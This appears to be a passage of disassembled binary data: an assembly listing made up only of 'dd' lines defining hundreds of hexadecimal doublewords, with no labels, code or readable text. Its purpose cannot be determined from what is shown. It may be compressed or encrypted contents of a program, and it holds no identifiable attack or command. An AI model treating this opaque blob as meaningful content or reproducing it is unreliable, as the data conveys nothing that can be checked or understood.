		dd 0CC40D54Dh, 604F7087h, 2A0B88B6h, 54B249EBh,	0B8076018h
		dd 2AE7F518h, 0C0FD3Fh,	38CEF6FCh, 0D81AA47Ch, 170E637Ch
		dd 0CC80EB01h, 312AA078h, 0D048E131h, 304261Ah,	1C779374h
		dd 0BB6C98BFh, 3E2A0234h, 8B88E533h, 0CD239CA1h, 8A944055h
		dd 392448E1h, 35E95C3Dh, 92EB80A0h, 3C4E0677h, 70D0D0C1h
		dd 7C72A40Fh, 50B13109h, 6CC2FC33h, 0EE4DE40h, 7D09C093h
		dd 0FA432CAh, 0F02FB2F4h, 9700CF23h, 379876Ah, 0AB90C494h
		dd 940412BEh, 5902C57Dh, 488E72h, 34583F85h, 0ADCA8790h
		dd 248CF2B4h, 351F304Dh, 0D2576221h, 1D9EDB0Ch,	0E0DD4185h
		dd 0D40F0073h, 37FD43C9h, 0BA72BB0Ch, 74356D00h, 0AC8AFEE7h
		dd 518006Ch, 798C7123h,	0CA656F78h, 84645E60h, 951EA802h
		dd 81C45AEh, 5A42B797h,	5C402974h, 1280DD25h, 2E19C0E6h
		dd 51E5D8C6h, 0BC966800h, 0B8CAEE42h, 58771D7Ch, 0CC5E950Ah
		dd 0B3EF8182h, 3AA0A4AFh, 8370448Bh, 0D2688500h, 9FC92EF1h
		dd 1D5D02D7h, 13407918h, 9D5A4881h, 0DF8082C6h,	45CCFB78h
		dd 0F5B0057Ch, 0AC64D844h, 0D18E3108h, 4161C4B1h, 1131A56Ah
		dd 9001E944h, 0C5E67627h, 90BB99FCh, 89C027ECh,	56ED2022h
		dd 26EA6C41h, 2AAF0534h, 8C90E759h, 0F7DFFE03h,	7E069420h
		dd 21D89389h, 184D7150h, 0EC2500ACh, 0F6E57E3Bh, 0EB19C12Ah
		dd 6780A807h, 31048033h, 0C988E8DDh, 7E10E060h,	5F051B16h
		dd 96FCA420h, 5DD1C4D9h, 98B52853h, 29A465Ch, 0FACF78Fh
		dd 809C316Bh, 0F767B421h, 0E215BE0h, 420F9E55h,	8992F198h
		dd 0EC3D6A01h, 52653B79h, 0FBED8984h, 1318CA8Ah, 5425D9A5h
		dd 21911482h, 5078CE47h, 9E03C774h, 0E0539F42h,	8630C1A2h
		dd 44061D1Eh, 0EE8189B1h, 0E1C8700Eh, 0FAC95900h, 90749277h
		dd 93D20058h, 7C88D109h, 32617273h, 0D1A14B0h, 2E7E9036h
		dd 407074FAh, 8D4BED31h, 0F6037B80h, 9C38C75Dh,	3D6621B1h
		dd 0B8BC28BEh, 0FE008C4Dh, 0FFD45317h, 4632FD8h, 9708DD3Eh
		dd 0C0CAD9h, 0B3D427A9h, 63570DBh, 0EFF37E63h, 71EA1BCh
		dd 0BE4473D1h, 0F88022C7h, 90EF37B7h, 0AC60117Ch, 5F0110D9h
		dd 0B8E0B0A2h, 6C3D366Dh, 8A05BE8Bh, 0C4A12890h, 553689C0h
		dd 22AC463Eh, 0A37D00BBh, 0EB48DE36h, 0FF15A5B9h, 18608AB0h
		dd 0A2F95F1Ch, 0E68407EFh, 0A062AFC8h, 75091EC5h, 0BB93EB02h
		dd 48FC3089h, 79FD4D1Ch, 0E07108CDh, 79C58AF3h,	74CA28C0h
		dd 0D023582Bh, 18C99E8h, 0AFC1465Fh, 0E86514AEh, 615CD675h
		dd 0C0033BA4h, 0A8FD49FFh, 0A197480h, 0C2FE2D9Bh, 0E20F3504h
		dd 1880CF04h, 9C6F6755h, 521424E0h, 6359D859h, 0CC2E3018h
		dd 0C8E88878h, 0C3465Ch, 0A5FC8E0Ch, 128F2A4h, 291FB9F7h
		dd 63A8AF37h, 0C2793F0Ch, 0E1B53A08h, 3370DF05h, 11BCC8Ch
		dd 0ED175AAFh, 60D38C01h, 28718580h, 3826F494h,	91D8FB0Bh
		dd 0ABDC2560h, 18F80995h, 8C659944h, 1860CDC4h,	85E2AC45h
		dd 9D04D57Ch, 7AEB8AF7h, 4060B4B1h, 5C048C64h, 0B07C8FE8h
		dd 0B4C064A2h, 611CE844h, 791948h, 68B508D0h, 0A59EF49Fh
		dd 60BB6450h, 0F0211CBAh, 93289403h, 8864CB9Eh,	41A0C0CEh
		dd 26F80151h, 1B7B5209h, 43C46249h, 0B0D0FCF4h,	0E91A0BFDh
		dd 1E2B6985h, 8DDC4E89h, 516AF60h, 37025B95h, 0E5FB7F22h
		dd 1F348476h, 0A4F8E4h,	8BA34F7Bh, 7F6F38B6h, 0E5351600h
		dd 0BF17DC90h, 0F591025Dh, 43422B36h, 0E222A87Ah, 622925D0h
		dd 90934AAh, 0A8E8C0ADh, 326A1685h, 13080869h, 1F27D3h
		dd 27FC2711h, 3DFAE085h, 41275AF8h, 0F37084F9h,	17740940h
		dd 16074820h, 0C229BAE9h, 1098AFD5h, 0F8A30271h, 0EF60DF74h
		dd 6C131850h, 0B30142D6h, 0A888DBDEh, 0BF81E432h, 0DA9CB0E3h
		dd 9708F8CEh, 42826CDBh, 0A4A05E1Fh, 0D2066F37h, 3BDCCB02h
		dd 4108A360h, 0E1FA1E88h, 7105B40h, 0BC03644Bh,	0DFF2801Ah
		dd 1E85E8BAh, 0B8ED7AFDh, 17A34A34h, 621404ECh,	59D080E7h
		dd 0F9C3F675h, 0A7F2F90Eh, 0EC94A209h, 0BE2048A4h, 0D461606Ah
		dd 31D20ECFh, 18B35702h, 40D084E9h, 80EF7C10h, 549EAD89h
		dd 9799215Eh, 87F54487h, 0FBF74CC7h, 0EBC80ABh,	352BDAh
		dd 7F31C19Bh, 8BE10532h, 9E4E4098h, 8C7A642Eh, 6C1D0700h
		dd 47B4CCDBh, 0A2F9053Fh, 922AAD09h, 7430A124h,	0F953FF7h
		dd 21823046h, 17F78C4Dh, 380A7CAh, 5D71CE30h, 0F2143EF0h
		dd 6667F018h, 7C55DD18h, 32570D0Ah, 23C1E3B5h, 30EDA260h
		dd 0C57DFA60h, 45E07902h, 0D27B5B28h, 2044A2CCh, 736DC9D8h
		dd 0B9EE005Dh, 0DFC168AAh, 94499FC8h, 342F01C8h, 672B85F2h
		dd 0CC13642Dh, 73E70131h, 0D57BBD2Eh, 59A6F7h, 0D2403900h
		dd 0F2D3ED28h, 0BD2B88DEh, 7430F541h, 97058C43h, 99D18D31h
		dd 730080CEh, 217A31A0h, 0D80034A1h, 0A80FBA59h, 0C184FCE3h
		dd 25E57360h, 84EB211Eh, 0D38B5E78h, 0B7207922h, 2667C91Ch
		dd 834A8DEh, 0F985C720h, 0E0CCCD70h, 3B98942Fh,	40667308h
		dd 119E137h, 0C7BF78E4h, 31320F00h, 9707DCBEh, 0D1010893h
		dd 0F02C5360h, 0F6ADE305h, 918082F0h, 34B7E0A0h, 831A180h
		dd 0C065760Dh, 8AF189B0h, 0F000993h, 44FBCE92h,	183B7589h
		dd 88C75F96h, 48A07F59h, 8837E38Fh, 0C67940F8h,	0DD3E122Ch
		dd 9CFCC090h, 14258072h, 91F41710h, 0C0FA8F80h,	5724A975h
		dd 68DD0DD0h, 0E268A63Bh, 7B9174D3h, 8CE85B80h,	87687Ch
		dd 17E843BFh, 0A42FDE77h, 88FC24AAh, 5926F0B3h,	271F3EBCh
		dd 816E12F8h, 74349C4Ch, 78177D28h, 0E891D1EFh,	0DB00D629h
		dd 60BA1F68h, 0ED438F28h, 375D18C1h, 4103BCFFh,	0BD3CD800h
		dd 522329D8h, 7A220630h, 68374E73h, 8E53112h, 9DA4B0C2h
		dd 979B08A0h, 6A86FB60h, 6F2E00B9h, 0C8297BD0h,	0CF60ED30h
		dd 460B7D59h, 2E40B233h, 899C47B5h, 0AC920CF9h,	4498F446h
		dd 49BBE800h, 0D65D6BEEh, 754400A7h, 0E2098CDFh, 80A8EA60h
		dd 94487370h, 3EFF03D0h, 62890605h, 0F28C28C9h,	0A320D4C4h
		dd 28E301B0h, 3941F8F4h, 92D0343Fh, 9ECC7554h, 0A8BAF172h
		dd 852A9C6Fh, 344EDD14h, 0B8E48244h, 13A0D2F2h,	9CC7503Ah
		dd 8AEC6CA0h, 20CD4424h, 9574B0C9h, 0F49D3A27h,	88620415h
		dd 0C1641F5Ah, 513AA13Eh, 0E0C08EFFh, 0BB0280AAh, 0C46CC448h
		dd 0AD298598h, 0C87F0490h, 0B8A4BCA3h, 68FD58E5h, 0C40547Ch
		dd 0C6FAFC3Ah, 0F15B3F50h, 546C4F3Ah, 548F940h,	0B3C782D4h
		dd 1364F208h, 8359EA03h, 13952210h, 0C50A0E9Ch,	319FDC06h
		dd 0A020DC99h, 8B01A501h, 0D29542AFh, 2F4A002Dh, 0C3823E50h
		dd 0C0CB2603h, 0B900E43Fh, 0E72974E9h, 7FC57568h, 0D5F300E8h
		dd 3BE6FB32h, 90F5BEh, 3CDF1028h, 0EA0AA098h, 0E8995DB9h
		dd 3BF1F08h, 0FBC53B89h, 0C2F82812h, 9823344Ah,	2F39D08h
		dd 0B27F7887h, 2AAF18C8h, 2B73E408h, 23310029h,	89C93591h
		dd 0A402787Ch, 0A5F2D8F5h, 4AB852AAh, 0CE54901Ch, 0EA0E6E5Ah
		dd 524166D4h, 0E4441CC4h, 0FCE08A89h, 8E7687Eh,	606713A4h
		dd 80E85F38h, 11487C23h, 47B307EEh, 8BB02EE8h, 2B45ACCh
		dd 0DB28995Eh, 1050313Bh
		dd 0A7EBC71Eh, 1F4368E6h, 0A081035Ch, 0BE3F90B5h, 0FC9B22E8h
		dd 9C5151ECh, 0A20863A8h, 899D309Fh, 6C73BD00h,	64CD3EDCh
		dd 0D93CA2AFh, 19C0796Ch, 6BC1CCh, 0AAD5B996h, 0EE78158Ch
		dd 0B58E5A04h, 0ACC2AC76h, 0DF8048C1h, 97072040h, 0ED3E440Fh
		dd 89809A0Fh, 2978C868h, 44A4B220h, 794A59CFh, 0EDFF0421h
		dd 4E5C3FCh, 3123674Fh,	9EF88236h, 4558A0FBh, 0E17F0179h
		dd 0BED3F88h, 0C8004A3h, 0DED8FD93h, 8F01E359h,	9C3E5F36h
		dd 57008C4Eh, 1D713699h, 3FB82043h, 4956AC00h, 229D0116h
		dd 2C9E4825h, 90201E25h, 0F82AE8E5h, 0F1FEEA1Eh, 16221CBh
		dd 49EFC3A7h, 3BF51820h, 9050CE03h, 20E44F95h, 0D0A4FC9Ch
		dd 1B681095h, 26664221h, 9D2D2460h, 84EF1188h, 34806512h
		dd 0B08D27AAh, 26784214h, 0ACC54C71h, 0F402E452h, 1D48132h
		dd 39ECF1B0h, 41DE004Ch, 63449D04h, 8A10037Dh, 0D765B4E4h
		dd 21893EA0h, 0B3074201h, 0EB6F2978h, 5E00042Fh, 8B10C174h
		dd 0C0412ACBh, 994433C8h, 0C0B83C3Ch, 0F566008Ch, 0C3149626h
		dd 1D58A9DAh, 331C07C8h, 82E9BDF6h, 6CE5E140h, 5BA44690h
		dd 0F127CE8h, 0B2B4389Bh, 51F7650Eh, 1D37C240h,	0B34ECB7h
		dd 0B0966E0Fh, 4FC4C845h, 0BDF78460h, 16B5C63Ah, 0C873E5h
		dd 9A3428DDh, 1BC30BC0h, 24A74E2Dh, 2523F218h, 53F88C8h
		dd 0A0990A20h, 0C1483AB8h, 151E2329h, 0F5085C2h, 10913542h
		dd 0B9BCF912h, 2B5CA100h, 68215216h, 0AEB9391Dh, 192272C4h
		dd 86E0E4h, 0F6EA4512h,	2C689850h, 279F6900h, 28CFF9C1h
		dd 0A9D30107h, 347E8119h, 0B8483C90h, 140B8CB8h, 2281216h
		dd 4D0EC28h, 0A06CBCB5h, 48DA074Dh, 931D39C6h, 0BB4881D5h
		dd 0F4C872BCh, 6000AFCh, 0A7E36585h, 6D6105h, 4C14B67h
		dd 0D210739Ch, 664D180Ch, 0AFC20E0h, 2FFFB4B6h,	48767820h
		dd 20B5E08Ch, 6071A7Dh,	0F8184E0Ah, 0DC0F9D40h,	0E9D800D1h
		dd 3B9DE65h, 8DEC67Dh, 0D93D21F0h, 6FEE00D8h, 0E84B9CE9h
		dd 9F09C84Ch, 87010EE7h, 28BA0AA3h, 2930AC46h, 1128B665h
		dd 0D43A00E9h, 1FE064D8h, 0E3253A02h, 61BA9B80h, 0FAD98BC1h
		dd 351B430Dh, 1DC318C8h, 6999DE0h, 1103E5DAh, 47142F01h
		dd 0E638B976h, 99880FDh, 2CCF2135h, 2D554700h, 0ED0281C6h
		dd 0E750C0C7h, 7EFA23B4h, 0B75FC0Ah, 202CC32h, 81CFB385h
		dd 75AF390h, 0ABEF15E0h, 3AEEF1A8h, 79BD4D00h, 0DC837C01h
		dd 165DAFAh, 0F1D7081h,	83B0D16Ah, 95DD1FC0h, 46C87DE6h
		dd 0A8E70FE3h, 404F0A2Fh, 8401A9F0h, 0C0D5322h,	0B8ED4A0Fh
		dd 0DDE20B68h, 3A60E560h, 180B6BCh, 1A9D94BAh, 0F0FDE111h
		dd 5701F3FFh, 1E8D8503h, 87F805A2h, 9393855h, 2119C43Eh
		dd 50FD68F6h, 8695F3D0h, 0BA988CF7h, 82190Eh, 3A6805F4h
		dd 0D2B285BBh, 0F9E20C6h, 0E930A0D8h, 4D7C8015h, 0B0C138F8h
		dd 0F3783E9Dh, 70FC5880h, 0D97177FBh, 47106890h, 1B0AA21Dh
		dd 64F4D019h, 471260D4h, 8B9237Ch, 0C50E3611h, 0DE40472Ah
		dd 0AD06F228h, 88FFED30h, 0C1B78F85h, 7DD29F78h, 829440EAh
		dd 0A901DDB1h, 793BCDD9h, 68D0B983h, 18317808h,	11CF1FBBh
		dd 2D00E0EBh, 4CEF52EEh, 0CCF74A04h, 0A21DF08h,	132DE800h
		dd 0D59BAC57h, 0F73507F1h, 0A0339182h, 79EB2B02h, 31CBB932h
		dd 11E6121h, 563D1180h,	0CDDE77E0h, 0D6B8980Fh,	7A6886h
		dd 0CB9E6B91h, 46010E5h, 76252831h, 3FBE0389h, 0F876CD7h
		dd 212D0830h, 761DC2h, 0D3785AF0h, 0DDCC7A5Fh, 7331022h
		dd 7EB7BAB1h, 0B9BD804Ah, 0E011C75h, 135D5038h,	0DBCC16A3h
		dd 4AE100E9h, 22E3C611h, 44A56891h, 5F6334C4h, 0F453838h
		dd 806B8438h, 52292AB2h, 2844E402h, 11983E6Ah, 0BF82F3h
		dd 9D3942D4h, 0FFAEC4h,	6ED1C89Eh, 73077D09h, 10CDDB06h
		dd 68087Ah, 6440C7E1h, 56A2A066h, 6D773Ch, 6C220B9Fh, 14083C48h
		dd 0A84DAC5Dh, 2B960A7Dh, 1FD0DA1Dh, 2D4CE0CEh,	45E803E7h
		dd 73713EBh, 9ADC11C1h,	0F09697ECh, 236AE720h, 24182EF4h
		dd 10581C98h, 90018241h, 4036B3F7h, 83DBCBF0h, 0B0214413h
		dd 0B8CF3203h, 250830ACh, 44BBF821h, 4EC77A01h,	76C886BDh
		dd 0EFB04880h, 6ECFC6B8h, 24AE200h, 0A45119AFh,	2C2D48E7h
		dd 0C8B9D98Ch, 334E7C18h, 1BDBB18h, 0F0B8E191h,	101FA450h
		dd 287D0882h, 9C67AAh, 0B25C2395h, 0D2DAFE3Ah, 863DACA0h
		dd 40742C28h, 18DD8231h, 0A4C0BC87h, 0F9ACE22Bh, 694CA3E2h
		dd 231BCB64h, 8601F2F8h, 9CB02444h, 0F588DE18h,	91441CBEh
		dd 0FAE940E7h, 0C48BE53Eh, 0F61A60F5h, 0BC8E350Ah, 204A5093h
		dd 3C60E412h, 23867626h, 2F1137BEh, 761EC301h, 30A7F73Ch
		dd 0DB396E11h, 418C9B8h, 30514B5Bh, 0CDB44091h,	0BC887980h
		dd 0E76C478Ch, 6BB5D418h, 28BA6431h, 87A09A4Eh,	602464F4h
		dd 860968Eh, 4BE086BCh,	370EEB12h, 52680214h, 0F2E8A15Bh
		dd 1DA1BACh, 40F6B269h,	37464454h, 60089491h, 72B38C3Ch
		dd 0BE4C79A9h, 7A2D8358h, 0B45688BFh, 13E1C5BAh, 0B590403Fh
		dd 0BB34634Fh, 32607601h, 508056BCh, 0E1BA9980h, 0ED9A1182h
		dd 52347CF4h, 5446913Ah, 77E129B2h, 7F8A03B0h, 31516C0Fh
		dd 6DAA80B0h, 9D3CC07h,	8F2EAF53h, 60730C5Dh, 82F21A04h
		dd 54824964h, 6C443FF3h, 230C3654h, 9B80140h, 0DE3AB1BDh
		dd 8848C12h, 762160E9h,	1FBE2385h, 0C6002E11h, 5A717619h
		dd 0DB51310Dh, 0BA888593h, 0B003D9FAh, 257A4C4h, 1D079289h
		dd 0ACA06C13h, 9D88EA48h, 0EF93F303h, 30C3EB37h, 0AE214308h
		dd 550088F1h, 4B51B232h, 0ECAC868Bh, 0E3E924A1h, 0EB1208A8h
		dd 87EBF02h, 0A8848A53h, 47D1261Ah, 603144ACh, 1FC10A88h
		dd 149DB82Ch, 238020EBh, 0FBE8376h, 1BC80087h, 0C317B176h
		dd 0BAF44405h, 8415C9EAh, 11E882C4h, 5EBD3034h,	147F1826h
		dd 2C1B446h, 0F6719A88h, 0E0A9FB82h, 60B8A084h,	23EF2DE3h
		dd 0DE11F752h, 2DEB0B07h, 7D13E221h, 9CEAACA0h,	0B7004AFEh
		dd 0E3C7F59h, 0CFA942h,	2A74B90Ch, 0ACF9680Fh, 7434B726h
		dd 0DC3AF796h, 9900E223h, 233C8B94h, 243493B7h,	28023A8h
		dd 45707E3Fh, 0BD439413h, 190C0C56h, 0C0076C93h, 2DF7021Fh
		dd 24A4D041h, 0C520F882h, 903AF805h, 4100E223h,	0C1159A8Fh
		dd 27AE0C43h, 0BB98F982h, 69CE4E13h, 30F65022h,	20114482h
		dd 2288BCB0h, 44BAF980h, 28719EFh, 0DFD01B3Eh, 0B8C8E3FAh
		dd 5560645Dh, 0BD17BBD8h, 787B0C4Eh, 5099CC83h,	86913E01h
		dd 8769D9B1h, 0D085E5D7h, 88F7A888h, 6D55B1D4h,	98F020ECh
		dd 32DD1013h, 0E3875C44h, 9926B246h, 0C1560F0Eh, 0FECD23B7h
		dd 2ACA9084h, 89A8002Ch, 0C836CC9Eh, 7C1248DAh,	2D3B6h
		dd 644E3968h, 15B102BCh, 76518684h, 1908488Fh, 0D8714A80h
		dd 9832C27Eh, 108F453Ch, 83EF0A40h, 0FC204000h,	0C33E64A3h
		dd 0BFB10017h, 21EA0BF7h, 0B275D7F0h, 0BC307F68h, 8580F511h
		dd 84B02744h, 0F6C000B9h, 0DA644BDh, 0E71EF9A4h, 97003099h
		dd 22F462E1h, 32B23774h, 174EA039h, 6A046B2Dh, 3B42DB1Eh
		dd 30BE7C92h, 0E9112D9Dh, 0E3888752h, 2DE50D81h, 0AFC4FAEDh
		dd 1D80B806h, 1FB3EF2Bh, 98E7C51Bh, 0D27C81A0h,	0F4320966h
		dd 313020E2h, 735201A4h, 0CF4465Ch, 0A2A0631Ah,	7B2C30DEh
		dd 0FEB34D02h, 0C0BF4150h, 0A0DEA7DCh, 264AED94h, 260C715h
		dd 0F6EC2ACBh
		dd 5E077468h, 0B84BE426h, 11C4FA42h, 92218E8h, 17BE8276h
		dd 0C7806445h, 3945761Ah, 99356149h, 0CAB6EF30h, 52E89440h
		dd 447BA424h, 62BAF383h, 2A900133h, 0B16736BBh,	9B3980D5h
		dd 458463E8h, 0D0E658D7h, 22095E11h, 42010033h,	8D6D2A55h
		dd 0EF001C9Bh, 0E0057EF3h, 0A49361Fh, 0AB5415D5h, 8ABA91FCh
		dd 5209ECE1h, 0E249CE7h, 0D12DE909h, 7EBDE4E0h,	0F710AE22h
		dd 4E0FD48Eh, 0F2EC265Fh, 840EF98h, 5E7918E8h, 23C2D8EBh
		dd 0C135180h, 2EFEB268h, 0A415FA10h, 13C8394Fh,	5004DA43h
		dd 0BD01E972h, 3477108Bh, 0D71FB800h, 96C02F0Fh, 0EEF8F33h
		dd 0E4DE500Dh, 8410FD19h, 863C8573h, 3BE050B0h,	1B2E9C00h
		dd 8247F5E6h, 40705D66h, 0ECBEEF09h, 906484AFh,	3C3A0725h
		dd 27B623B0h, 20F160BEh, 0B8223F08h, 2083F429h,	3220E3C2h
		dd 0DC11EC9Dh, 78A05580h, 5E00DDADh, 83F04257h,	1EB9868Eh
		dd 0C9BC94E8h, 1C697B68h, 88718F3h, 94B02544h, 0F44027C4h
		dd 0B0E944BFh, 0E4FEDF18h, 0E55639B8h, 61B12182h, 4C78BBCh
		dd 0A860DF44h, 6DF45CD0h, 6A474800h, 40EB959Ah,	262D7461h
		dd 80487B4Ah, 0E68F8934h, 65FBB7D4h, 0A29C6378h, 56E3040h
		dd 1AC9B017h, 3DEC2004h, 0D8041B09h, 31F849E3h,	5DD1B848h
		dd 0A04075F5h, 93B2CB6h, 2033B48Dh, 9FAC4000h, 0B1FC2314h
		dd 462668B8h, 8B49A825h, 6B742024h, 0A6556FF4h,	789F622Ch
		dd 5118C558h, 28608A0Ah, 48915CECh, 0B7203F19h,	1154189h
		dd 31B8E831h, 369E1A0h,	988CA4EBh, 7B772548h, 0C5006CB7h
		dd 9D0EC717h, 0B4D20D28h, 30E0314Fh, 58B8C1ACh,	4FE93E20h
		dd 9350401Fh, 769D64EAh, 80D9A23Fh, 2A7CCC78h, 25D1858h
		dd 2F90F6E2h, 8029C422h, 0A2C91108h, 578800E8h,	848998FDh
		dd 791834C3h, 0F229F685h, 2282335Ch, 0E6A93180h, 0CAE094C6h
		dd 5A7C0A10h, 0A845C02Fh, 88E16888h, 0AE77C7B0h, 4ED7B0C1h
		dd 0EC507344h, 92FFFA27h, 5F34A1DCh, 361002D2h,	1FE88A0h
		dd 0B1008CFDh, 0C64CB977h, 0A83A4Eh, 0A7BBA304h, 87ACFACEh
		dd 83802365h, 662DC804h, 4D534000h, 0BC99F2E3h,	0AC52F581h
		dd 18523F5Bh, 32A82C0Bh, 0F8BFF340h, 0C19D2D6h,	85A9AA74h
		dd 802C1093h, 0F205E011h, 882EB3A4h, 2C217058h,	40523E57h
		dd 890C9B22h, 4028EA1Eh, 8E7C10D0h, 4AF505DFh, 0B404D3D1h
		dd 0B894E3B2h, 639EACCEh, 0F6110139h, 0C2AB123Dh, 48231C31h
		dd 83C098A7h, 58395B6Dh, 0B0819051h, 0E04227h, 35AC50F7h
		dd 4D903DBh, 454CE8A4h,	0E4C13E9Fh, 9410DDF2h, 0BD63EBE2h
		dd 853F4390h, 82F39001h, 0F882D252h, 4C925C56h,	7469B440h
		dd 0ACE32728h, 52D15110h, 0F8418705h, 83203C18h, 55044F46h
		dd 0C21DD4Bh, 82DB9050h, 3B303860h, 85B48159h, 0FC822D9Ah
		dd 44B4CCBFh, 0E23D0CE6h, 3D188F2Dh, 4526C065h,	1F4AD50h
		dd 952C31B8h, 221E933Eh, 992300D0h, 18122ACCh, 7BA600F3h
		dd 55371148h, 0F7024FD6h, 9F38962Fh, 0D02C4204h, 2BF4650h
		dd 52EA2D9Ch, 60B0598Fh, 7B2DE40Eh, 272E4604h, 0ACF4D6A6h
		dd 87D2010h, 0ED38F00h,	0F4856393h, 0B41B0019h,	0C9D07F98h
		dd 0D28FB94h, 10108445h, 9601CB3Dh, 69DDB852h, 0B5E7F785h
		dd 0C6FC0480h, 0C4EE00FBh, 8231EFA4h, 29A28060h, 8B82360Fh
		dd 49398C2Ah, 0A9D1601Fh, 0C779EED3h, 0FE4C9B05h, 0D082F631h
		dd 7BB458A0h, 774B139h,	419DE544h, 5556FFAEh, 23603A68h
		dd 0C72C00DCh, 0DB547834h, 95652428h, 7EDC8B04h, 54817004h
		dd 0D86DF72Ah, 2C189D58h, 8E98186Eh, 61D34E00h,	0A4500795h
		dd 1F1D3DBh, 43ACC888h,	0D40840DFh, 38243242h, 0EF619454h
		dd 4075F68Eh, 0A4401833h, 0F8E140D2h, 367812Ch,	6B91F001h
		dd 888C157h, 0F029ABEh,	8A6A3A32h, 7DEE0A8h, 0E19387CAh
		dd 411F3782h, 29EC6250h, 8535C8ACh, 826B50E2h, 2D20CFD8h
		dd 3408FC7Ah, 0C25933B1h, 57206DA4h, 3179EB93h,	81089751h
		dd 0E8F850CDh, 0D35AB3ACh, 92733048h, 23B82F31h, 72201DDh
		dd 20E8BEF5h, 0DCB2FD3Ch, 761EBC81h, 88EB024Ch,	319BF39Ch
		dd 0F2AF1044h, 0E7870088h, 65210EC9h, 0EA02B112h, 30EB8522h
		dd 446044A9h, 5730392Dh, 1204F938h, 6019CACCh, 0F81C74h
		dd 95EA6B54h, 2B5071F5h, 90AA5CFCh, 5378E940h, 0CBB15600h
		dd 3A98BC83h, 1310A1DEh, 4D1FA4ECh, 0BA0A4828h,	25CCD66Ah
		dd 20C9C8A4h, 9C37956Eh, 0D84FE28Ch, 8E22E22Fh,	3D0849Ah
		dd 41D01F46h, 4DE12700h, 95D7FA37h, 0CB980A80h,	64FC3213h
		dd 3CA1046Eh, 0B4B1D405h, 0B238F3ACh, 0B01BC036h, 80DE7198h
		dd 7E0F82E2h, 0F67D0895h, 0F7389C41h, 343DD89Ah, 0D0195A30h
		dd 0CE4032FFh, 99D4601Fh, 200DE6CCh, 0FAEA0500h, 8ED0BE78h
		dd 66374DDh, 0B4DB47EFh, 0F8818949h, 8EF181Ah, 0FBF3E088h
		dd 0AB4141C4h, 0F45A88F6h, 0CCAC257Fh, 0A67E3F3Eh, 22BE0068h
		dd 5039243Bh, 7AC761E0h, 234036F8h, 44890AF1h, 38E412F8h
		dd 8101F2C0h, 0D5AB6A44h, 4080B3BDh, 8FDFB987h,	493164Eh
		dd 51E26032h, 76248118h, 2A47BE88h, 39C1042Ch, 0FE80761Ch
		dd 0FB716A9Fh, 0F20B7F1Dh, 69DA3552h, 9425C17Ch, 3254E007h
		dd 89CD2C98h, 0DA64E84Ah, 0D4EA1124h, 145C7711h, 3AFA4B05h
		dd 74B5FEh, 83435EF8h, 1459492h, 4BCC9C60h, 0BD7C4078h
		dd 9F3FB19Dh, 81694B60h, 0E2EA20ADh, 0F86D4C91h, 0C80A3522h
		dd 0B4F3F2FFh, 0DA648249h, 0FFB010D5h, 10CC0679h, 5C4871E0h
		dd 372FBC51h, 3DEF6022h, 0E414450Bh, 0C0E463E3h, 62A8A0A5h
		dd 0CDFAF0C3h, 0ED26003h, 94D9AA29h, 0F0F7B700h, 7C18523Dh
		dd 8380D476h, 0AC38D084h, 0E344F10h, 8236AE2Dh,	4270A84Dh
		dd 0E0E04D80h, 0BE0741E0h, 77498678h, 1F91158h,	805EBD04h
		dd 20ACA554h, 6E03CC0Dh, 81B7D406h, 0E8282603h,	3F0C2435h
		dd 689E2572h, 30915097h, 831D8280h, 817DC75h, 50D0109Ah
		dd 7AA0D4C2h, 26E90006h, 4EBAD997h, 0ED4846ADh,	49791F6Ch
		dd 70F5E187h, 0B35A6B81h, 0C890A845h, 624AF27Bh, 0B6D4115Dh
		dd 0E6203C6Ch, 227C9026h, 932723BAh, 2000B9D2h,	23125006h
		dd 4C21D36Fh, 0AC0051B0h, 80489EC7h, 9F0919B8h,	443D840Ch
		dd 20143088h, 83EFE120h, 4F483818h, 2EF7C264h, 0A4900D4h
		dd 86E145EBh, 22BAF490h, 0FA3326C9h, 11D02C34h,	2E180076h
		dd 0AA2294A8h, 2F06028Bh, 875F55F4h, 0F22A84E0h, 86D4034Ch
		dd 0A0198884h, 99DC768Ch, 7EB409B4h, 77413CEFh,	919F7F13h
		dd 479080FDh, 0DF1B1F8Dh, 0EE03EDFEh, 0D0F260A0h, 7636F05Ch
		dd 988358AFh, 0DAE98C48h, 1C7E730h, 0B03D678Dh,	24DF76F7h
		dd 1588D6B8h, 25D0078h,	0ECFAF651h, 0B20967C8h,	10B0D43Dh
		dd 204B6D10h, 224A29E9h, 70912837h, 84206993h, 0B375133Bh
		dd 0CB6084EAh, 6CA22A0h, 0D283539Bh, 809028CEh,	0EE17F8E6h
		dd 8831F798h, 318030B2h, 0C819BC97h, 7F16122Bh,	0E00483E7h
		dd 0B206CF7Eh, 0BB07292Ah, 0B456202Fh, 5BC8A1B9h, 0C4D2794Bh
		dd 12FF10A8h, 7D091ECEh, 11CC9FEDh, 202880DCh, 1FDF737h
		dd 0E730D44Ch, 2AB269B7h, 34B3CC46h, 9DAD0431h,	8210F363h
		dd 0B05895C0h, 81942259h, 57DC4ED7h, 3EEE7200h,	0C0D1E029h
		dd 0C43E842Ch, 1C3A00F2h, 8826ED72h, 0FFA0BD95h, 0DE00626Bh
		dd 0F8760450h, 0B2DB22Eh, 2101B97Ah, 0D1E60882h, 4E11B072h
		dd 8408DB66h, 50103894h
		dd 51E18370h, 0BE643090h, 974CB4Ch, 78A84EDFh, 864B4A8h
		dd 310BC95Ah, 0A5BF8238h, 9180542Eh, 232458D4h,	88F0011Bh
		dd 18C3F3E3h, 0F7A88847h, 950F8800h, 0FC67054Ah, 2A5A0090h
		dd 3A7C3821h, 3CE4B268h, 0DCF340B1h, 9EE88063h,	7F06ACA6h
		dd 0D71EF249h, 0EBF00021h, 5B6A304Ch, 8F170E84h, 0B8083803h
		dd 71138C4Eh, 0EAEAC0A9h, 72BEC700h, 0E8FC144Ah, 613094C4h
		dd 2308AB2h, 52C5A33h, 9486C940h, 88B8E227h, 0AC97AD9Dh
		dd 0C1802C91h, 41D58EAFh, 46F5739h, 0E87EBE67h,	0BBBB8D0h
		dd 448C90AEh, 3860106Ch, 9B2F5441h, 0A40300CAh,	0E452E10Bh
		dd 841D7E79h, 0B957C7B1h, 5CD26027h, 0BA05E76h,	88C81E82h
		dd 74922FB2h, 0F38D5300h, 29C97E27h, 0EADD09BEh, 646661D9h
		dd 0F81A132Eh, 2FE8208h, 687350E2h, 8D3A5C59h, 68DA3BACh
		dd 0F430A859h, 4EBE2938h, 0F02A0BC8h, 0BC568C98h, 0F8667141h
		dd 9843FA40h, 417903BDh, 5E5D088Ah, 0FFAE4104h,	8C8F25Ah
